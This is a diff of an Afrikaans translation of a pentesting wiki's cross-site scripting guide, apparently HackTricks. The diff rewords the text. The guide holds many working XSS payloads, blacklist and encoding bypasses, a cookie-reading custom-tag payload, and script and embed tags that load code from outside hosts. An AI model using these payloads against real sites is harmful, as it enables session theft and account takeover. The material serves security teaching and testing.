+So, as die font nie ooreenstem nie, word verwag dat die reaksietyd wanneer die bot besoek word ongeveer 30 sekondes sal wees. As daar egter 'n font-ooreenstemming is, sal verskeie versoeke gestuur word om die font op te haal, wat voortdurende netwerkaktiwiteit veroorsaak. Gevolglik sal dit langer neem om aan die stopvoorwaarde te voldoen en die reaksie te ontvang. Daarom kan die reaksietyd as 'n aanduiding gebruik word om te bepaal of daar 'n font-ooreenstemming is.
 
 ## Verwysings
 

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -4,79 +4,80 @@
 
 ## Metodologie
 
-1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _path_, _headers_?, _cookies_?) **gereflekseer** word in die HTML of **gebruik** word deur **JS** kode.
+1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _path_, _headers_?, _cookies_?) **weerspieël** word in die HTML of **gebruik** word deur **JS**-kode.
-2. **Vind die konteks** waarin dit gereflekseer/gebruik word.
+2. **Vind die konteks** waar dit weerspieël/gebruik word.
-3. As dit **gereflekseer** word:
+3. As dit **weerspieël**
-1. Kontroleer **watter simbolen jy kan gebruik** en, afhangend daarvan, berei die payload voor:
+1. Kontroleer **watter simbole jy kan gebruik** en, afhangend daarvan, berei die payload voor:
-1. In **raw HTML**:
+1. In **ruwe HTML**:
-1. Kan jy nuwe HTML tags skep?
+1. Kan jy nuwe HTML-tags skep?
-2. Kan jy events of attributes gebruik wat die `javascript:` protokol ondersteun?
+2. Kan jy events of attributte gebruik wat die `javascript:`-protokol ondersteun?
 3. Kan jy beskerming omseil?
-4. Word die HTML-inhoud geïnterpreteer deur enige client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), dan kan jy misbruik maak van [**Client Side Template Injection**](../client-side-template-injection-csti.md).
+4. Word die HTML-inhoud geïnterpreteer deur enige client-side JS-motor (_AngularJS_, _VueJS_, _Mavo_...)? Jy kan 'n [**Client Side Template Injection**](../client-side-template-injection-csti.md) misbruik.
-5. As jy nie HTML-tags kan skep wat JS kode uitvoer nie, kan jy dalk misbruik maak van [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
+5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
-2. Binne 'n **HTML tag**:
+2. Binne 'n **HTML-tag**:
-1. Kan jy uit die attribute en uit die tag ontsnap (dan is jy in die raw HTML) en nuwe HTML tag skep om misbruik te maak: `"><img [...]`
+1. Kan jy ontsnap na die ruwe HTML-konteks?
-2. As jy **uit die attribute kan ontsnap maar nie uit die tag nie** (`>` word geënkodeer of uitgevee), afhangend van die tag kan jy 'n **event** skep wat JS kode uitvoer: `" autofocus onfocus=alert(1) x="`
+2. Kan jy nuwe events/attribute skep om JS-kode uit te voer?
-3. As jy **nie uit die attribute kan ontsnap nie** (`"` word geënkodeer of uitgevee), dan sal dit afhang van **in watter attribute** jou waarde gereflekseer word en **of jy die hele waarde beheer of net 'n deel** daarvan, wat jy kan misbruik. By **voorbeeld**, as jy 'n event soos `onclick=` beheer, kan jy dit executeer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die attribute `href`, waar jy die `javascript:` protokol kan gebruik om arbitêre kode uit te voer: **`href="javascript:alert(1)"`**
+3. Ondersteun die attribuut waarin jy gevang is die uitvoering van JS?
-4. As jou input binne "**unexpoitable tags**" gereflekseer word, kan jy die **`accesskey`** truuk probeer om die vuln te misbruik (jy sal 'n vorm van social engineering nodig hê om dit uit te oefen): **`" accesskey="x" onclick="alert(1)" x="`**
+4. Kan jy beskerming omseil?
-3. Binne **JavaScript code**:
+3. Binne **JavaScript-kode**:
-1. Kan jy die `<script>` tag ontsnap?
+1. Kan jy uit die `<script>`-tag ontsnap?
-2. Kan jy die string ontsnap en ander JS kode uitvoer?
+2. Kan jy die string ontsnap en ander JS-kode uitvoer?
-3. Is jou input in template literals \`\`?
+3. Is jou insette in template literals ``?
 4. Kan jy beskerming omseil?
 4. Javascript **funksie** wat **uitgevoer** word
-1. Jy kan die naam van die funksie aandui wat uitgevoer moet word. bv.: `?callback=alert(1)`
+1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
 4. As dit **gebruik** word:
-1. Jy kan 'n **DOM XSS** uitbuit; let aandag op hoe jou input beheer word en of jou **beheerde input deur enige sink gebruik word.**
+1. Jy kan 'n **DOM XSS** uitbuit; let daarop hoe jou insette beheer word en of jou **beheerde insette deur enige sink gebruik word.**
+
+Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te leer oor:
 
-Wanneer jy aan 'n komplekse XSS werk, mag dit interessant wees om te weet van:
 
 {{#ref}}
 debugging-client-side-js.md
 {{#endref}}
 
-## Gereflekseerde waardes
+## Weerspieëlde waardes
 
-Om 'n XSS suksesvol uit te buit, is die eerste ding wat jy moet vind 'n **waarde wat jy beheer en wat gereflekseer word** op die webblad.
+Om 'n XSS suksesvol te benut, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat op die webblad weerspieël word**.
 
-- **Intermediêr gereflekseer**: As jy vind dat die waarde van 'n parameter of selfs die path in die webblad gereflekseer word, kan jy 'n **Reflected XSS** uitbuit.
+- **Intermediair weerspieël**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad weerspieël word, kan jy 'n **Reflected XSS** uitbuit.
-- **Gestoor en gereflekseer**: As jy vind dat 'n waarde wat jy beheer op die bediener gestoor word en elke keer as jy 'n bladsy besoek gereflekseer word, kan jy 'n **Stored XSS** uitbuit.
+- **Gestoor en weerspieël**: As jy vind dat 'n waarde wat jy beheer op die bediener gestoor word en elke keer wanneer jy 'n bladsy besoek weerspieël word, kan jy 'n **Stored XSS** uitbuit.
-- **Toeganklik via JS**: As jy vind dat 'n waarde wat jy beheer via JS geraadpleeg word, kan jy 'n **DOM XSS** uitbuit.
+- **Toegang via JS**: As jy vind dat 'n waarde wat jy beheer deur JS bereik word, kan jy 'n **DOM XSS** uitbuit.
 
 ## Kontekste
 
-Wanneer jy probeer om 'n XSS uit te buit, is die eerste ding wat jy moet weet **waar jou input gereflekseer word**. Afhangend van die konteks, sal jy op verskillende maniere arbitêre JS kode kan uitvoer.
+Wanneer jy probeer om 'n XSS uit te buit, is die eerste ding wat jy moet weet **waar jou insette weerspieël word**. Afhangend van die konteks sal jy op verskeie maniere arbitraire JS-kode kan uitvoer.
 
 ### Ruwe HTML
 
-As jou input **gereflekseer word op die raw HTML** bladsy, sal jy 'n **HTML tag** moet misbruik om JS kode uit te voer: `<img , <iframe , <svg , <script` ... dit is net sommige van die vele moontlike HTML tags wat jy kan gebruik.\
+As jou insette op die **ruwe HTML** bladsy weerspieël word, sal jy 'n **HTML-tag** moet misbruik om JS-kode uit te voer: `<img , <iframe , <svg , <script` ... dit is net 'n paar van die baie moontlike HTML-tags wat jy kan gebruik.\
-Hou ook in gedagte [Client Side Template Injection](../client-side-template-injection-csti.md).
+Ook, hou [Client Side Template Injection](../client-side-template-injection-csti.md) in gedagte.
 
-### Binne HTML tag se attribuut
+### Binne HTML-tag-attribuut
 
-As jou input binne die waarde van 'n tag se attribuut gereflekseer word, kan jy probeer:
+As jou insette binne die waarde van 'n attribuut van 'n tag weerspieël word, kan jy probeer:
 
-1. Om **uit die attribuut en uit die tag te ontsnap** (dan sal jy in die raw HTML wees) en 'n nuwe HTML tag skep om misbruik te maak: `"><img [...]`
+1. Om **uit die attribuut en uit die tag te ontsnap** (dan sal jy in die ruwe HTML wees) en 'n nuwe HTML-tag te skep om te misbruik: `"><img [...]`
-2. As jy **uit die attribuut kan ontsnap maar nie uit die tag nie** (`>` word geënkodeer of uitgevee), afhangend van die tag kan jy **'n event skep** wat JS kode uitvoer: `" autofocus onfocus=alert(1) x="`
+2. As jy **uit die attribuut kan ontsnap maar nie uit die tag nie** (`>` word gekodeer of verwyder), afhangend van die tag kan jy 'n **event skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
-3. As jy **nie uit die attribuut kan ontsnap nie** (`"` word geënkodeer of uitgevee), dan, afhangend van **in watter attribuut** jou waarde gereflekseer word en **of jy die hele waarde of net 'n deel beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n event soos `onclick=` beheer, kan jy dit arbitrary laat loop wanneer dit geklik word. Nog 'n interessante **voorbeeld** is die `href` attribuut, waar jy die `javascript:` protokol kan gebruik om arbitêre kode uit te voer: **`href="javascript:alert(1)"`**
+3. As jy **nie uit die attribuut kan ontsnap nie** (`"` word gekodeer of verwyder), sal jy, afhangend van **watter attribuut** jou waarde weerspieël word en of jy die hele waarde of net 'n deel beheer, dit kan misbruik. Byvoorbeeld, as jy 'n event soos `onclick=` beheer, kan jy dit laat uitvoer wanneer dit geklik word. 'n Ander interessante voorbeeld is die attribuut `href`, waar jy die `javascript:`-protokol kan gebruik om arbitraire kode uit te voer: **`href="javascript:alert(1)"`**
-4. As jou input binne "**unexpoitable tags**" gereflekseer word, kan jy die **`accesskey`** truuk probeer om die vuln te misbruik (jy sal 'n vorm van social engineering nodig hê om dit uit te oefen): **`" accesskey="x" onclick="alert(1)" x="`**
+4. As jou insette binne "**onuitbuitbare tags**" weerspieël word, kan jy die **`accesskey`**-truuk probeer om die vuln te misbruik (jy sal 'n mate van social engineering benodig om dit te eksploiteer): **`" accesskey="x" onclick="alert(1)" x="`**
 
-Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n class name beheer:
+Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 </div>
 ```
-### Binne JavaScript-kode
+### Binne JavaScript code
 
-In hierdie geval word jou insetsel weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js` lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
+In hierdie geval word jou invoer gereflekteer tussen **`<script> [...] </script>`** tags van 'n HTML-bladsy, binne 'n `.js` lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
 
-- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou insetsel binne enige tipe aanhaling, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette ontleed** en daarna die inhoud, daarom sal dit nie opmerk dat jou ingespuitte `</script>`-etiket binne die HTML-kode is nie.
+- As dit gereflekteer word tussen **`<script> [...] </script>`** tags, selfs al is jou invoer binne enige soort aanhalingstekens, kan jy probeer om `</script>` in te spuit en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-tags sal parse** en daarna die inhoud, daarom sal dit nie opmerk dat jou ingespuitte `</script>` tag binne die HTML-kode is nie.
-- As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy die string moet **verlaat**, jou kode **uitvoer** en die JS-kode **herbou** (as daar enige fout is, sal dit nie uitgevoer word):
+- As dit gereflekteer word **binne 'n JS-string** en die laaste truuk werk nie, sal jy die string moet **verlaat**, jou code **uitvoer** en die JS code **herbou** (as daar enige fout is, sal dit nie uitgevoer word nie):
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- As dit weerspieël word binne template literals kan jy **embed JS expressions** gebruik met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
+- As dit gereflekteer word binne template literals kan jy **JS-uitdrukkings inkorporeer** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
 - **Unicode encode** werk om **valid javascript code** te skryf:
 ```javascript
 alert(1)
@@ -85,8 +86,8 @@ alert(1)
 ```
 #### Javascript Hoisting
 
-Javascript Hoisting verwys na die moontlikheid om **funksies, veranderlikes of klasse te verklaar nadat hulle gebruik is, sodat jy scenario's kan misbruik waar 'n XSS nie-verklaarde veranderlikes of funksies gebruik.**\
+Javascript Hoisting verwys na die geleentheid om functions, variables of classes ná gebruik te declare, sodat jy scenario's kan misbruik waar 'n XSS undeclared variables of functions gebruik.\
-**Kyk na die volgende bladsy vir meer info:**
+**Kyk na die volgende bladsy vir meer inligting:**
 
 
 {{#ref}}
@@ -95,19 +96,19 @@ js-hoisting.md
 
 ### Javascript Function
 
-Verskeie webblaaie het endpoints wat **as parameter die naam van die uit te voer funksie aanvaar**. 'n Algemene voorbeeld wat jy in die veld sal sien is iets soos: `?callback=callbackFunc`.
+Verskeie webblaaie het endpoints wat **as parameter die naam van die function aanvaar wat uitgevoer moet word**. 'n Algemene voorbeeld wat jy in die wild sien is iets soos: `?callback=callbackFunc`.
 
-'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee word probeer word uitgevoer, is deur die parameterwaarde te **wysig** (byvoorbeeld na 'Vulnerable') en in die console te kyk vir foute soos:
+'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is probeer uitgevoer word, is deur die **modifying the param value** (byvoorbeeld na 'Vulnerable') en in die console te kyk vir foute soos:
 
 ![](<../../images/image (711).png>)
 
-Indien dit kwesbaar is, kan jy in staat wees om **'n alert te aktiveer** net deur die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie endpoints die inhoud sal **valideer** om slegs letters, syfers, punte en onderstreeptekens toe te laat (**`[\w\._]`**).
+As dit kwesbaar is, kan jy 'n **trigger an alert** veroorsaak deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie endpoints die inhoud **validate** om slegs letters, syfers, punte en underscores toe te laat (**`[\w\._]`**).
 
-Alhoewel dit 'n beperking is, is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te bereik**:
+Tog, selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **access any element in the DOM**:
 
 ![](<../../images/image (747).png>)
 
-Sommige nuttige funksies hiervoor:
+Some useful functions for this:
 ```
 firstElementChild
 lastElementChild
@@ -117,9 +118,9 @@ parentElement
 ```
 Jy kan ook probeer om **trigger Javascript functions** direk: `obj.sales.delOrders`.
 
-Ewenwel, gewoonlik is die endpoints wat die aangeduide funksie uitvoer endpoints sonder baie interessante DOM, **other pages in the same origin** sal 'n **more interesting DOM** hê om meer aksies uit te voer.
+Gewoonlik is die endpoints wat die aangeduide funksie uitvoer egter endpoints sonder baie interessante DOM; **ander bladsye in dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer.
 
-Daarom, om hierdie **kwesbaarheid in 'n ander DOM te misbruik**, is die **Same Origin Method Execution (SOME)** uitbuiting ontwikkel:
+Daarom, om **abuse this vulnerability in a different DOM** te bereik, is die **Same Origin Method Execution (SOME)** exploitation ontwikkel:
 
 
 {{#ref}}
@@ -137,7 +138,7 @@ dom-xss.md
 
 ### **Universal XSS**
 
-Hierdie tipe XSS kan **oral** gevind word. Hulle is nie net afhanklik van die kliëntuitbuiting van 'n webtoepassing nie maar van **enige** **konteks**. Hierdie soort **arbitrary JavaScript execution** kan selfs misbruik word om **RCE** te verkry, **lees** **arbitrêre** **lêers** op kliënte en bedieners, en meer.\
+Sulke XSS kan **oral** gevind word. Hulle is nie net afhanklik van die client exploitation van 'n webtoepassing nie maar van **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript execution** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te lees, en meer.\
 Sommige **voorbeelde**:
 
 
@@ -156,11 +157,11 @@ server-side-xss-dynamic-pdf.md
 
 ## Injecting inside raw HTML
 
-Wanneer jou invoer **inside the HTML page** weerspieël word of jy kan ontsnap en HTML-kode in hierdie konteks in spuit, is die **first** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe tags te skep: Probeer net om daardie **char** te **reflect** en kyk of dit **HTML encoded** of **deleted** word of as dit **reflected without changes**. **Slegs in laasgenoemde geval sal jy hierdie geval kan uitbuit**.\
+As jou invoer **inside the HTML page** gereflekteer word of jy kan ontsnap en HTML-kode in hierdie konteks injekteer, is die **first** ding wat jy moet doen om te kontroleer of jy `<` kan misbruik om nuwe tags te skep: Probeer net om daardie **char** te **reflect** en kyk of dit **HTML encoded** word of **deleted** word, of of dit **reflected without changes** is. **Only in the last case you will be able to exploit this case**.\
-Vir hierdie gevalle, **hou ook in gedagte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+Vir hierdie gevalle hou ook **in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Nota: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_ 
+_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_ 
 
-In hierdie geval en as geen black/whitelisting gebruik word nie, kan jy payloads soos die volgende gebruik:
+In hierdie geval en as geen swart-/witlyste gebruik word nie, kan jy payloads soos:
 ```html
 <script>
 alert(1)
@@ -168,22 +169,22 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Maar, as tags/attributes swart-/witlys gebruik word, sal jy moet **brute-force watter tags** jy kan skep.\
+Maar, as tags/attributes black/whitelisting gebruik word, sal jy moet **brute-force watter tags** jy kan skep.\
-Sodra jy **gevind het watter tags toegelaat word**, moet jy **brute-force attributes/events** binne die gevonde geldige tags doen om te sien hoe jy die konteks kan aanval.
+Sodra jy **gevind het watter tags toegelaat word**, sal jy die **brute-force attributes/events** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
 
 ### Tags/Events brute-force
 
-Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Copy tags to clipboard**_. Stuur dan al die tags met Burp intruder en kontroleer of enige tag nie as kwaadaardig deur die WAF ontdek is nie. Sodra jy uitgevind het watter tags jy kan gebruik, kan jy **brute force alle events** met die geldige tags (op dieselfde webblad klik op _**Copy events to clipboard**_ en volg dieselfde prosedure as voorheen).
+Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Copy tags to clipboard**_. Stuur dan al die tags met Burp intruder en kontroleer of enige tags nie deur die WAF as kwaadwillig bespeur is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute-force alle events** met die geldige tags (op dieselfde webblad klik op _**Copy events to clipboard**_ en volg dieselfde prosedure as tevore).
 
-### Pasgemaakte tags
+### Custom tags
 
-As jy geen geldige HTML-tag gevind het nie, kan jy probeer om 'n **custom tag** te skep en JS-kode uit te voer met die `onfocus` attribute. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy op daardie objek te **focus** en die kode te **execute**:
+As jy geen geldige HTML tag gevind het nie, kan jy probeer om 'n custom tag te skep en JS code uit te voer met die `onfocus` attribute. In die XSS request moet jy die URL beëindig met `#` om die bladsy te laat fokus op daardie objek en die kode uit te voer:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
 ### Blacklist Bypasses
 
-Indien 'n soort blacklist gebruik word, kan jy probeer om dit met 'n paar snaakse truuks te bypass:
+As 'n soort blacklist gebruik word, kan jy probeer om dit met 'n paar dom truuks te bypass:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -233,36 +234,36 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Length bypass (small XSSs)
+### Lengte-omseiling (klein XSSs)
 
-> [!NOTE] > **Meer tiny XSS vir verskillende omgewings** payload [**kan hier gevind word**](https://github.com/terjanq/Tiny-XSS-Payloads) en [**hier**](https://tinyxss.terjanq.me).
+> [!NOTE] > **Meer klein XSS payloads vir verskillende omgewings** [**kan hier gevind word**](https://github.com/terjanq/Tiny-XSS-Payloads) en [**hier**](https://tinyxss.terjanq.me).
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-Die laaste een gebruik 2 Unicode-karakters wat uitvou tot 5: telsr\
+Die laaste gebruik 2 unicode-karakters wat uitbrei tot 5: telsr\
 More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
 To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
 
 ### Click XSS - Clickjacking
 
-As dit nodig is om die kwesbaarheid uit te buiten dat die **gebruiker op 'n skakel of 'n vorm** met vooraf ingevulde data klik, kan jy probeer om [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
+As jy, om die kwesbaarheid te misbruik, die **user to click a link or a form** met vooraf ingevulde data nodig het, kan jy probeer om [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
 
 ### Impossible - Dangling Markup
 
-As jy dink dat dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer, moet jy [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) nagaan, want jy kan die kwesbaarheid **exploit** **sonder** om **JS** kode uit te voer.
+As jy net dink dat **dit onmoontlik is om 'n HTML tag met 'n attribuut te skep om JS code uit te voer**, moet jy [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) raadpleeg omdat jy die kwesbaarheid kan **exploit** **without** die **JS** code uit te voer.
 
-## Injektering binne HTML-tag
+## Inspuiting binne HTML-tag
 
 ### Binne die tag/ontsnap uit attribuutwaarde
 
-As jy binne 'n HTML-tag is, is die eerste ding wat jy kan probeer om uit die tag te **ontsnap** en sommige van die tegnieke genoem in die [previous section](#injecting-inside-raw-html) te gebruik om JS-kode uit te voer.\
+As jy **inside a HTML tag** is, is die eerste ding wat jy kan probeer om uit die tag te **escape** en 'n paar van die tegnieke te gebruik wat in die [previous section](#injecting-inside-raw-html) genoem word om JS code uit te voer.\
-As jy **nie uit die tag kan ontsnap nie**, kan jy nuwe attributte binne die tag skep om te probeer JS-kode uit te voer, byvoorbeeld met 'n payload soos (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
+As jy **cannot escape from the tag**, kan jy nuwe attributes binne die tag skep om te probeer om JS code uit te voer, byvoorbeeld deur 'n payload soos (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
 ```
-**Stylgebeure**
+**Stylgebeurtenisse**
 ```python
 <p style="animation: x;" onanimationstart="alert()">XSS</p>
 <p style="animation: x;" onanimationend="alert()">XSS</p>
@@ -272,16 +273,16 @@ As jy **nie uit die tag kan ontsnap nie**, kan jy nuwe attributte binne die tag
 #moving your mouse anywhere over the page (0-click-ish):
 <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
 ```
-### Binnen die attribuut
+### Binne die attribuut
 
-Selfs al **kan jy nie uit die attribuut ontsnap nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde weerspieël en **of jy die hele waarde of net 'n deel daarvan beheer**, kan jy dit misbruik. By **voorbeeld**, as jy 'n event soos `onclick=` beheer sal jy dit kan laat uitvoer van ewekansige kode wanneer dit geklik word.\
+Selfs al **kan jy nie uit die attribuut ontsnap nie** (`"` word gekodeer of verwyder), afhangend van **in watter attribuut** jou waarde gereflekteer word **en of jy die hele waarde of net 'n deel beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n event soos `onclick=` beheer sal jy dit kan laat uitvoer arbitrêre kode wanneer daar op geklik word.\
-Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:`-protokol kan gebruik om ewekansige kode uit te voer: **`href="javascript:alert(1)"`**
+Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
 
-**Omseiling binne event met HTML encoding/URL encode**
+**Omseiling binne event deur HTML-enkodering/URL-enkodering**
 
-Die **HTML encoded characters** binne die waarde van HTML tag-attribuutte word **gedekodeer op runtime**. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
+Die **HTML-geënkodeerde karakters** binne die waarde van HTML-tag-attribuute word **gedekodeer tydens runtime**. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
-Let wel dat **enige soort HTML encode geldig is**:
+Neem kennis dat **elke soort HTML-enkodering geldig is**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@@ -302,7 +303,7 @@ Let wel dat **enige soort HTML encode geldig is**:
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Bypass binne event deur Unicode encode**
+**Bypass binne event deur Unicode encode te gebruik**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@@ -310,7 +311,7 @@ Let wel dat **enige soort HTML encode geldig is**:
 ```
 ### Spesiale protokolle binne die attribuut
 
-Daar kan jy die protokolle **`javascript:`** of **`data:`** op sekere plekke gebruik om **ewekansige JS code uit te voer**. Party sal gebruikersinteraksie vereis, ander nie.
+Daar kan jy die protokolle **`javascript:`** of **`data:`** in sekere plekke gebruik om **ewekansige JS-kode uit te voer**. Sommige sal gebruikersinteraksie vereis, ander nie.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -330,9 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
 data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
 data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
 ```
-**Plekke waar jy hierdie protokolle kan invoeg**
+**Plekke waar jy hierdie protokolle kan inspuit**
 
-**In die algemeen** kan die `javascript:` protokol **in enige tag gebruik word wat die attribuut `href` aanvaar** en in **die meeste** van die tags wat die **attribuut `src`** aanvaar (maar nie `<img>` nie)
+**In die algemeen** kan die `javascript:` protocol **gebruik word in enige tag wat die attribuut `href` aanvaar** en in **die meeste** van die tags wat die **attribuut `src`** aanvaar (maar nie `<img>` nie)
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -352,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-**Ander obfuscation tricks**
+**Ander obfuskasie-truuks**
 
-_**In hierdie geval is die HTML encoding en die Unicode encoding trick van die vorige afdeling ook geldig aangesien jy binne 'n attribute is.**_
+_**In hierdie geval is die HTML-enkodering en die Unicode-enkodering-truuk van die vorige afdeling ook geldig aangesien jy binne 'n attribuut is.**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Boonop is daar nog 'n ander **nuttige truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL encoded, sal dit URL decoded word voordat dit uitgevoer word.** Dus, as jy moet **ontsnap** uit die **string** met 'n **enkele aanhalingsteken** en jy sien dat **dit URL encoded word**, onthou dat **dit maak nie saak nie,** dit sal tydens die **uitvoering** as 'n **enkele aanhalingsteken** geinterpreteer word.
+Verder is daar nog 'n **netjiese wenk** vir hierdie gevalle: **Selfs as jou invoer binne `javascript:...` as URL gekodeer word, sal dit voor uitvoering URL gedekodeer word.** Dus, as jy uit die **string** moet **escape** met 'n **single quote** en jy sien dat **dit as URL gekodeer word**, onthou dat **dit nie saak maak,** dit sal tydens die **uitvoering** as 'n **single quote** geïnterpreteer word.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Let daarop dat as jy probeer om **albei te gebruik** `URLencode + HTMLencode` in enige volgorde om die **payload** te enkodeer, sal dit **nie** **werk** nie, maar jy kan **hulle binne die payload meng**.
+Let wel: as jy probeer om **beide** `URLencode + HTMLencode` in watter volgorde ook al te gebruik om die **payload** te enkodeer, sal dit **nie** **werk** nie, maar jy kan hulle **binne die payload meng**.
 
-**Gebruik Hex- en Oktale enkodering met `javascript:`**
+**Using Hex and Octal encode with `javascript:`**
 
-Jy kan **Hex** en **Octal encode** binne die `src`-attribuut van `iframe` (ten minste) gebruik om **HTML tags to execute JS**:
